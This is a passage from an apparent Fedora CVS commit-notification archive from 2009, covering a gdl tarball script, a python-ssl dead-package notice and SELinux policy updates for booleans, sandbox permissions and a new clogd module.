Subject: rpms/gdl/devel makecvstarball,NONE,1.1
Message-ID: <20091015201701.E99DD11C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gdl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5723

Added Files:
	makecvstarball 
Log Message:
Add makecvstarball



--- NEW FILE makecvstarball ---
#!/bin/sh
if [ -n "$" ]
then
   date=$1
else
   date=`date +%Y%m%d`
fi
cvs -z3 -d :pserver:anonymous at gnudatalanguage.cvs.sourceforge.net:/cvsroot/gnudatalanguage export -D ${date} -d gdl-0.9rc2-${date} gdl
tar cjf gdl-0.9rc2-${date}.tar.bz2 gdl-0.9rc2-${date}



From stevetraylen at fedoraproject.org  Thu Oct 15 20:20:12 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Thu, 15 Oct 2009 20:20:12 +0000 (UTC)
Subject: rpms/python-ssl/devel dead.package, NONE, 1.1 python-ssl.spec, 1.1,
	1.2
Message-ID: <20091015202012.C583B11C029F@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/python-ssl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7681

Modified Files:
	python-ssl.spec 
Added Files:
	dead.package 
Log Message:
Dead from day 0 in Fedora.



--- NEW FILE dead.package ---
In fact this package was never released on Fedora
and only applies to python < 2.6 so on Oct 15th 2009
that was only EPEL 4 and 5.
Steve Traylen <steve.traylen at cern.ch>


Index: python-ssl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-ssl/devel/python-ssl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-ssl.spec	15 Oct 2009 19:47:16 -0000	1.1
+++ python-ssl.spec	15 Oct 2009 20:20:12 -0000	1.2
@@ -2,7 +2,7 @@
 
 Name:           python-ssl
 Version:        1.15
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)
 
 Group:          Development/Libraries
@@ -50,6 +50,8 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/*
 
 %changelog
+* Thu Oct 15 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-3
+- Release bump due to my error.
 * Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-2
 - Add -p to cp to preserve timestamps.
 * Fri Oct 2 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-1



From dwalsh at fedoraproject.org  Thu Oct 15 20:42:10 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 15 Oct 2009 20:42:10 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 booleans-minimum.conf, 1.7,
	1.8 booleans-targeted.conf, 1.55, 1.56 modules-minimum.conf,
	1.39, 1.40 modules-targeted.conf, 1.148, 1.149 policy-F12.patch,
	1.110, 1.111 selinux-policy.spec, 1.944, 1.945
Message-ID: <20091015204211.0720E11C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10935

Modified Files:
	booleans-minimum.conf booleans-targeted.conf 
	modules-minimum.conf modules-targeted.conf policy-F12.patch 
	selinux-policy.spec 
Log Message:
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-28
- Allow sandbox_domain to interact with userdomain fifo_files



Index: booleans-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/booleans-minimum.conf,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- booleans-minimum.conf	7 Aug 2009 19:36:54 -0000	1.7
+++ booleans-minimum.conf	15 Oct 2009 20:42:08 -0000	1.8
@@ -250,3 +250,7 @@ init_upstart = true
 # Allow mount to mount any file/dir
 # 
 allow_mount_anyfile = true
+
+# Allow fenced domain to connect to the network using TCP.
+#
+fenced_can_network_connect=false


Index: booleans-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/booleans-targeted.conf,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- booleans-targeted.conf	14 Oct 2009 14:48:38 -0000	1.55
+++ booleans-targeted.conf	15 Oct 2009 20:42:08 -0000	1.56
@@ -1,6 +1,6 @@
 # Allow making anonymous memory executable, e.g.for runtime-code generation or executable stack.
 # 
-allow_execmem = false
+allow_execmem = true
 
 # Allow making a modified private filemapping executable (text relocation).
 # 
@@ -259,3 +259,6 @@ allow_mount_anyfile = true
 # 
 nscd_use_shm = true
 
+# Allow fenced domain to connect to the network using TCP.
+#
+fenced_can_network_connect=false


Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-minimum.conf,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- modules-minimum.conf	7 Oct 2009 20:56:21 -0000	1.39
+++ modules-minimum.conf	15 Oct 2009 20:42:08 -0000	1.40
@@ -1242,6 +1242,13 @@ aisexec = module
 rgmanager = module
 
 # Layer: services
+# Module: clogd
+#
+# clogd - clustered mirror log server
+# 
+clogd = module
+ 
+# Layer: services
 # Module: rhgb
 #
 # X windows login display manager


Index: modules-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-targeted.conf,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- modules-targeted.conf	7 Oct 2009 20:56:21 -0000	1.148
+++ modules-targeted.conf	15 Oct 2009 20:42:08 -0000	1.149
@@ -1242,6 +1242,13 @@ aisexec = module
 rgmanager = module
 
 # Layer: services
+# Module: clogd
+#
+# clogd - clustered mirror log server
+# 
+clogd = module
+ 
+# Layer: services
 # Module: rhgb
 #
 # X windows login display manager

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   30 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 ++
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   38 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   95 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 +++++++
 policy/modules/services/rhcs.te           |  394 ++++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  160 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1432 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 356 files changed, 16881 insertions(+), 2634 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- policy-F12.patch	14 Oct 2009 19:35:53 -0000	1.110
+++ policy-F12.patch	15 Oct 2009 20:42:08 -0000	1.111
@@ -561,8 +561,16 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/prelink.te serefpolicy-3.6.32/policy/modules/admin/prelink.te
 --- nsaserefpolicy/policy/modules/admin/prelink.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/prelink.te	2009-09-30 16:12:48.000000000 -0400
-@@ -89,6 +89,7 @@
++++ serefpolicy-3.6.32/policy/modules/admin/prelink.te	2009-10-15 15:48:26.000000000 -0400
+@@ -80,6 +80,7 @@
+ selinux_get_enforce_mode(prelink_t)
+ 
+ libs_exec_ld_so(prelink_t)
++libs_legacy_use_shared_libs(prelink_t)
+ libs_manage_ld_so(prelink_t)
+ libs_relabel_ld_so(prelink_t)
+ libs_manage_shared_libs(prelink_t)
+@@ -89,6 +90,7 @@
  miscfiles_read_localization(prelink_t)
  
  userdom_use_user_terminals(prelink_t)
@@ -4404,8 +4412,8 @@ diff -b -B --ignore-all-space --exclude-
 +# No types are sandbox_exec_t
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sandbox.if serefpolicy-3.6.32/policy/modules/apps/sandbox.if
 --- nsaserefpolicy/policy/modules/apps/sandbox.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/sandbox.if	2009-10-06 16:58:56.000000000 -0400
-@@ -0,0 +1,183 @@
++++ serefpolicy-3.6.32/policy/modules/apps/sandbox.if	2009-10-15 12:43:45.000000000 -0400
+@@ -0,0 +1,184 @@
 +
 +## <summary>policy for sandbox</summary>
 +
@@ -4437,6 +4445,7 @@ diff -b -B --ignore-all-space --exclude-
 +	dontaudit $1 sandbox_domain:process { noatsecure siginh rlimitinh };
 +	role $2 types sandbox_domain;
 +	allow sandbox_domain $1:process sigchld;
++	allow sandbox_domain $1:fifo_file rw_fifo_file_perms;
 +
 +	allow $1 sandbox_x_domain:process { signal_perms transition };
 +	dontaudit $1 sandbox_x_domain:process { noatsecure siginh rlimitinh };
@@ -5296,7 +5305,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corecommands.fc serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc
 --- nsaserefpolicy/policy/modules/kernel/corecommands.fc	2009-07-30 13:09:10.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-02 10:34:35.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-15 13:16:38.000000000 -0400
 @@ -1,4 +1,4 @@
 -
 +c
@@ -5329,7 +5338,16 @@ diff -b -B --ignore-all-space --exclude-
  #
  # /usr
  #
-@@ -221,6 +226,8 @@
+@@ -211,6 +216,8 @@
+ /usr/share/apr-0/build/[^/]+\.sh --	gen_context(system_u:object_r:bin_t,s0)
+ /usr/share/apr-0/build/libtool --	gen_context(system_u:object_r:bin_t,s0)
+ /usr/share/debconf/.+		--	gen_context(system_u:object_r:bin_t,s0)
++/usr/share/cluster/.*\.sh               gen_context(system_u:object_r:bin_t,s0)
++/usr/share/cluster/svclib_nfslock  --   gen_context(system_u:object_r:bin_t,s0)
+ /usr/share/gnucash/finance-quote-check -- gen_context(system_u:object_r:bin_t,s0)
+ /usr/share/gnucash/finance-quote-helper -- gen_context(system_u:object_r:bin_t,s0)
+ /usr/share/hal/device-manager/hal-device-manager -- gen_context(system_u:object_r:bin_t,s0)
+@@ -221,6 +228,8 @@
  /usr/share/PackageKit/pk-upgrade-distro\.sh -- 	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/PackageKit/helpers(/.*)?	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/selinux/devel/policygentool -- gen_context(system_u:object_r:bin_t,s0)
@@ -5338,7 +5356,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/shorewall/configpath	--	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/shorewall-perl(/.*)?		gen_context(system_u:object_r:bin_t,s0)
  /usr/share/shorewall-shell(/.*)?	gen_context(system_u:object_r:bin_t,s0)
-@@ -263,6 +270,7 @@
+@@ -263,6 +272,7 @@
  /usr/share/ssl/misc(/.*)?		gen_context(system_u:object_r:bin_t,s0)
  /usr/share/switchdesk/switchdesk-gui\.py -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-date/system-config-date\.py -- gen_context(system_u:object_r:bin_t,s0)
@@ -5346,7 +5364,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/system-config-selinux/system-config-selinux\.py -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-display/system-config-display -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-httpd/system-config-httpd -- gen_context(system_u:object_r:bin_t,s0)
-@@ -315,3 +323,21 @@
+@@ -315,3 +325,21 @@
  ifdef(`distro_suse',`
  /var/lib/samba/bin/.+			gen_context(system_u:object_r:bin_t,s0)
  ')
@@ -11109,8 +11127,8 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ccs.fc serefpolicy-3.6.32/policy/modules/services/ccs.fc
 --- nsaserefpolicy/policy/modules/services/ccs.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/ccs.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -2,9 +2,4 @@
++++ serefpolicy-3.6.32/policy/modules/services/ccs.fc	2009-10-15 13:16:38.000000000 -0400
+@@ -2,9 +2,5 @@
  
  /sbin/ccsd		--	gen_context(system_u:object_r:ccs_exec_t,s0)
  
@@ -11118,8 +11136,10 @@ diff -b -B --ignore-all-space --exclude-
 -
 -/var/lib/openais(/.*)?		gen_context(system_u:object_r:ccs_var_lib_t,s0)
 -
- /var/run/cluster(/.*)?		gen_context(system_u:object_r:ccs_var_run_t,s0)
+-/var/run/cluster(/.*)?		gen_context(system_u:object_r:ccs_var_run_t,s0)
 -/var/run/cman_.*	-s	gen_context(system_u:object_r:ccs_var_run_t,s0)
++/var/run/cluster/ccsd\.pid      --      gen_context(system_u:object_r:ccs_var_run_t,s0)
++/var/run/cluster/ccsd\.sock     -s      gen_context(system_u:object_r:ccs_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/certmaster.te serefpolicy-3.6.32/policy/modules/services/certmaster.te
 --- nsaserefpolicy/policy/modules/services/certmaster.te	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/certmaster.te	2009-09-30 16:12:48.000000000 -0400
@@ -11371,6 +11391,182 @@ diff -b -B --ignore-all-space --exclude-
 +optional_policy(`
  	apache_read_sys_content(clamscan_t)
  ')
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/clogd.fc serefpolicy-3.6.32/policy/modules/services/clogd.fc
+--- nsaserefpolicy/policy/modules/services/clogd.fc	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/clogd.fc	2009-10-15 13:16:38.000000000 -0400
+@@ -0,0 +1,4 @@
++
++/usr/sbin/clogd			--	gen_context(system_u:object_r:clogd_exec_t,s0)
++
++/var/run/clogd\.pid             --      gen_context(system_u:object_r:clogd_var_run_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/clogd.if serefpolicy-3.6.32/policy/modules/services/clogd.if
+--- nsaserefpolicy/policy/modules/services/clogd.if	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/clogd.if	2009-10-15 13:16:38.000000000 -0400
+@@ -0,0 +1,98 @@
++## <summary>clogd - clustered mirror log server</summary>
++
++######################################
++## <summary>
++##      Execute a domain transition to run clogd.
++## </summary>
++## <param name="domain">
++## <summary>
++##      Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`clogd_domtrans',`
++        gen_require(`
++                type clogd_t, clogd_exec_t;
++        ')
++
++        corecmd_search_bin($1)
